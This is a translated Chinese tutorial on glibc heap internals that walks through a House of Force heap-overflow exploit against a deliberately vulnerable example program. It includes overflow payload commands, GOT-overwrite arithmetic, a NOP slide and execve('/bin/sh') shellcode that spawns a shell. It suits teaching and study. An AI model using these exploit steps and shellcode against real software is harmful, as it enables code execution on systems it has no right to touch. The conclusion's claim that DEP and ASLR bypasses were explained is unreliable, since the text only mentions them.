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如何理解堆和堆溢出漏洞的利用?

这篇文章详细的描述了堆,并且会教你如何编写基于堆溢出漏洞的利用。

运行下面的程序:

#include <string.h>

#include <stdlib.h>

#include <stdio.h>

int main(int argc, char *argv[])

{

char *buf1 = malloc(128);

char *buf2 = malloc(256);

read(fileno(stdin), buf1, 200);

free(buf2);

free(buf1);

}

在第 10 行中,存在一个明显的可利用的溢出漏洞。那么首先我们就来了解下系统是怎样管理堆的

0×01  基本堆和堆块的布局

每个程序分配的内存(这里指的是 malloc 函数)在内部被一个叫做 堆块 的所替代。一个堆块是由元数据和程序返回的内存组成的(实际上内存是 malloc 的返回值)。所有的这些堆块都是保存在堆上,这块内存区域在申请新的内存时会不断的扩大。同样,当一定数量的内存释放时,堆可以收缩。在 glibc 源码中定义的堆块如下:

struct malloc_chunk {

INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */

INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

struct malloc_chunk* fd;         /* double links — used only if free. */

struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size.  */

struct malloc_chunk* fd_nextsize; /* double links — used only if free. */

struct malloc_chunk* bk_nextsize;

};

假设内存中没有堆块释放,新分配的内存区域紧随之前申请的堆块后。因此如果一个程序依次调用malloc(256),malloc(512),以及malloc(1024),内存布局如下:

Meta-data of chunk created by malloc(256)

The 256 bytes of memory return by malloc

—————————————–

Meta-data of chunk created by malloc(512)

The 512 bytes of memory return by malloc

—————————————–

Meta-data of chunk created by malloc(1024)

The 1024 bytes of memory return by malloc

—————————————–

Meta-data of the top chunk

在堆块之间的”—”是虚拟的边界,实际当中他们是彼此相邻的。你可能会问,为何我要在布局当中包含一个”顶块”元数据。顶级块表示堆中可利用的内存,而且是唯一的可以大小可以生长的堆块。当申请新的内存时,顶块分成两个部分:第一个部分变成所申请的堆块,第二个部分变为新的顶块(因此顶块大小可以收缩)。如果顶块不能够满足申请的内存区域大小,程序就会要求操作系统扩大顶块大侠(让堆继续生长)。

0×02  堆块结构解析

解析堆块需要依赖于当前堆块的状态。例如,在分配的堆块中只有 prev_size size 字段,程序分配的缓冲区开始于 fd 字段。这就表示分配的堆块总是有 8 字节的元数据,在这之后才是缓冲区。而且奇怪的是 prev_size 字段不是被分配的堆块所使用!下面我们将会看到未分配的(释放)的堆块使用其他的字段。

另一个重点是,在 glibc 堆块中是 8 字节对齐的。为了简化内存的管理,堆块的大小总是 8 字节的倍数。这就表示 size 的最后 3 位可以是其他用途(正常情况下总是置 0 )。只有第一位对我们很重要。如果这位置 1 ,就表示前面的堆块在使用。如果没有置 1 ,表示前面的堆块没有被使用。如果相关的内存被释放了,堆块就不会被使用(通过调用函数去释放)。

因此我们怎样判断当前堆块是否在使用?其实很简单:通过增加当前块的指针我们跟踪到下一个堆块,在这个堆块中,我们检查关键位是否置位来判断堆块是否在使用。

0×03  管理空闲块

我们知道当堆块释放后,在下一个堆块的 size 字段关键位一定会被清零。此外, prev_size 字段将会被设置成堆块释放状态。

已经释放的堆块同样使用 fd bk 字段。这两个字段可以作为漏洞利用字段。 fd 字段指向之前的已释放堆块, bk 字段指向之后的已释放堆块。这就表示释放的堆块存储在一个双向链表中。然而所有的堆块不是保存在一个链表中的。实际上有很多链表保存释放的堆块。每个链表包含的是特定大小的堆块。这样的话搜索指定大小的堆块将会很快,因为只需要在指定大小的链表中搜索相应堆块。现在我们来矫正一下刚开始的陈述:当申请内存时,首先从具有相同大小的已经释放的堆块(或者大一点的堆块)中查找并重新使用这段内存。仅仅当没有找到合适的堆块时才会使用顶块。

最后,我们可以知道如何去利用了:释放堆块。当一个堆块释放了(通过调用 free 函数),它会检查之前的堆块是否被释放了。如果之前的堆块没有在使用,那么就会和当前的堆块合并。这样就会增加堆块的大小。结果就是这个堆块需要被放置在不同的链表中。这样的话,之前释放的堆块就需要首先从链表中删除,接着再和当前堆块合并到另一个合适的链表中。从一个链表中删除一个堆块的代码如下:

/* Take a chunk off a bin list */

void unlink(malloc_chunk *P, malloc_chunk *BK, malloc_chunk *FD)

{

FD = P->fd;

BK = P->bk;

FD->bk = BK;

BK->fd = FD;

}

这里的参数 P 表示要从链表中删除的堆块。 BK FD 表示前块和后块的输出参数。这是从链表中删除堆块的典型代码,操作如下:

如何理解堆和堆溢出漏洞的利用?

Lam Larry 表示从链表中删除的元素。要从链表中删除这个元素一定要有下面两个步骤:

1.  下一个节点(FD->bk)的后驱指向前一个节点的后驱。对应删除函数的第6行;

2.  前一个节点的前驱指向下一个节点的前驱(FD)。对应删除函数的第7行。

从攻击者的角度来看,重要的事情就是这两个写内存的操作可以做些手脚。现在的目标就是操纵这些元数据,这样的话就可以控制写入的值,还可以控制在哪里写入。我们可以通过这个向任意内存写入任意值。重写函数的指针,最后让指针指向我们的代码。

0×04  更现代化的技术

不幸的是,上述介绍的方法在新版的 glibc 中不再适用。删除堆块的函数变得更健壮并且在运行时做了检查:前块的前驱指针必须指向当前块。类似的,后块的后驱指针必须指向当前块:

/* Take a chunk off a bin list */

void unlink(malloc_chunk *P, malloc_chunk *BK, malloc_chunk *FD)

{

FD = P->fd;

BK = P->bk;

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))

malloc_printerr(check_action,"corrupted double-linked list",P);

else {

FD->bk = BK;

BK->fd = FD;

} }

更多的技术可以参加我们的博客 Malloc Maleficarum Malloc Des-Maleficuarum 。作者将这些内容归纳为好几种技术并且给了详细的命名。这些技术的需要的条件如下:

The House of Prime:在调用函数malloc后,要求两个释放的堆块包含攻击者可控的size字段。

The House of Mind:要求能够操作程序反复分配新的内存。

The House of Force:要求能够重写顶块,并且存在一个可控size的malloc 函数,最后还需要再调用另一个malloc函数。

The House of Lore:不适用于我们的例程。

The House of Spirit:假设攻击者可以控制一个释放块的指针,但是这个技术还不能使用。

The House of Chaos:实际上这不是一个技术,仅仅是文章的一部分而已。

总结:在Malloc Maleficarum中提到的技术并不适合我们这个简单的例子。所有的技术都需要足够的(可控)数量的调用free或者malloc,才有可能存在利用。因此我们这里的例子是不现实的,因为太简单了。因此我们需要更换下例子,让其适用于这些场景,这样才能实际利用。新的例子如下:

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

int main(int argc, char *argv[])

{

char *buf1, *buf2, *buf3;

if (argc != 4) return;

buf1 = malloc(256);

strcpy(buf1, argv[1]);

buf2 = malloc(strtoul(argv[2], NULL, 16));

buf3 = malloc(256);

strcpy(buf3, argv[3]);

free(buf3);

free(buf2);

free(buf1);

return 0;

}

这样看起来我们才有可能 malloc 函数的 size 。这种情况并不是不可能。想象一个缓存对象的 ( 网络 ) 服务能力。要缓存一个对象,在这个对象被传送时首先需要发送对象的大小至服务器。在这样的一个程序中,可以控制 malloc 函数的大小。无论怎样,这个例子可以被利用,甚至在最近的 glibc 中可以编译。

0×05  利用技巧: The House of Force

我们的例子刚好满足技巧 The House of Force 的要求。 这种技术滥用的代码 从顶块中 分配内存 。下面的代码是 _int_malloc

static void* _int_malloc(mstate av, size_t bytes)

{

INTERNAL_SIZE_T nb;             /* normalized request size */

mchunkptr       victim;         /* inspected/selected chunk */

INTERNAL_SIZE_T size;           /* its size */

mchunkptr       remainder;      /* remainder from a split */

unsigned long   remainder_size; /* its size */

checked_request2size(bytes, nb);

[…]

victim = av->top;

size = chunksize(victim);

if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE))

{

remainder_size = size – nb;

remainder = chunk_at_offset(victim, nb);

av->top = remainder;

set_head(victim, nb | PREV_INUSE | (av!=&main_arena ? NON_MAIN_ARENA : 0));

set_head(remainder, remainder_size | PREV_INUSE);

check_malloced_chunk(av, victim, nb);

void *p = chunk2mem(victim);

if (__builtin_expect (perturb_byte, 0))

alloc_perturb (p, bytes);

return p;

}

[…]

}

现在的目标是使用可控的值来重写 av-top av-top 变量总是指向顶块。在调用 malloc 期间,这个变量引用顶块(防止其他的堆块不能满足要求)。这就意味着如果我们控制了 av-top 的值,我们就可以强制从顶块中分配内存,控制接下来的堆块分配的地址(在本例的第 15 行,我们控制了 malloc 的返回值)。不断地,我们可以在第 16 行向任意地址写入任意代码。

为了让这些合适的代码执行,在第 15 行的 if 测试必须是 true 。这个是检查顶块的大小是否满足所要求的堆块大小(在顶块的元数据是否有足够的空白区域)。我们想确保都会从顶块中申请内存(任意大小)。为了做到这个,我们在第 11 行通过溢出重写顶块的元数据。首先我们向分配的空间中写入 256 字节,然后写入 4 个字节重写 prev_size ,最后用非常大的(无符号)整型数重写 size

LARGETOPCHUNK=$(perl -e ‘print "A"x260 . "/xFF/xFF/xFF/xFF"’)

./example $LARGETOPCHUNK 1 2

上面的还不能够利用这个程序,还需要更多的步骤。还需要通过调试来确定顶块的size确实被修改了。继续重写变量av-top。我们的目标是在 GOT入口 释放前,让它指向8字节。动态加载函数的指针保存在GOT表中,所以如果我们可以重写释放的指针,我们可以控制程序跳转到任意位置(特别是我们的shellcode中),为了找到got.plt地址,我们执行:

readelf --relocs example

在我的例子中,释放位于 0x0804a008 ,减去 8 个字节就是 0x0804a000 。写入 av-top 的值是计算后的 chunk_at_offset

/* Treat space at ptr + offset as a chunk */

#define chunk_at_offset(p, s)  ((mchunkptr)(((char*)(p)) + (s)))

我们控制了第二个参数: nb #define s )。通过调试程序,我发现 victim( 旧的 av-top ) 等于 0x804b110 。因此传入 malloc 的值应该是 0x0804a000-0x804b110=FFFFEEF0 ,现在得到:

LARGETOPCHUNK=$(perl -e ‘print "A"x260 . "/xFF/xFF/xFF/xFF"’)

./example $LARGETOPCHUNK FFFFEEF0 AAAA

由于 eip 设置为 0×41414141 =AAAA 的编码值),因此出现了段错误。最后一步就是让 eip 指向我们需要控制的地方。假设 ASLR 未开启,因此栈区总是固定地址。本例中,开始与 0xBFFFFFFF 。剩下的就是构造 nop slide ,注入 shellcode ,然后让 eip 指向 NOP slide

LARGETOPCHUNK=$(perl -e ‘print "A"x260 . "/xFF/xFF/xFF/xFF"’)

NOPS=$(perl -e ‘print "/x90"x 0x10000’)

SC=$’/x68/x2f/x73/x68/x5a/x68/x2f/x62/x69/x6e/x89/xe7/x31/xc0/x88/x47/x07/x8d/x57/x0c/x89/x02/x8d/x4f/x08/x89/x39/x89/xfb/xb0/x0b/xcd/x80′

STACKADDR=$’/x01/xC0/xFF/xBF’

env -i "A=$NOPS$SC" ./example $LARGETOPCHUNK FFFFEEF0 $STACKADDR

Yeah! 现在我们就可以得到一个 shell !!

如何理解堆和堆溢出漏洞的利用?

庆祝成功

最后需要说明的几点。第一,我们使用了大量的 NOP slide 。这样会更容易得到正确的栈地址(第三个参数)。第二, $STACKADDR 的第一个字节从 1 开始。这样做是为了避免从 NULL 字节(字符串终止符)开始。最后,我们将 NOP slide shellcode 放进环境变量中,使用 env command 清除其他的环境变量(可以导致更多可预测的漏洞利用)。

此外我们没有绕过 ASLR ,因为我们是在 32 位机子上工作。为了防止 DEP 阻止我们从栈中执行 shellcode ,我们必须要知道 Return-oriented programming 。这个要求控制 esp ,这个可以通过重写一个栈帧指针(保存 ebp 的值)来实现。

0×06  结论

我们成功利用了第二个程序。此外还解释了如果绕过 DEP ASLR

参考文献

[1] Justin N. Ferguson,  Understanding the heap by breaking it . Blackhat USA, 2007.

[2] J. Koziol, D. Litchfield, D. Aitel, C. Anley, S. Eren, N. Mehta, and R. Hassell.  The Shellcoder’s Handbook: Discovering and Exploiting Security Holes . Wiley, 2003.

[3] Doug Lea,  Design of dlmalloc: A Memory Allocator . Personal website.

[4] Andries Brouwer,  Hackers Hut: Exploiting the heap .

[5] Phantasmal Phantasmagoria,  The Malloc Maleficarum. bugtraq mailing list , 2005.

[6] blackngel,  Malloc Des-Maleficarum. Phrack Volume 0x0d , Issue 0×42, 2009.

[7] MaXX,  Vudo malloc tricks. Phrack Volume 0x0b , Issue 0×39, 2001.

*原文地址: mathyvanhoef.com ,FB小编老王隔壁的白帽子翻译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM) 

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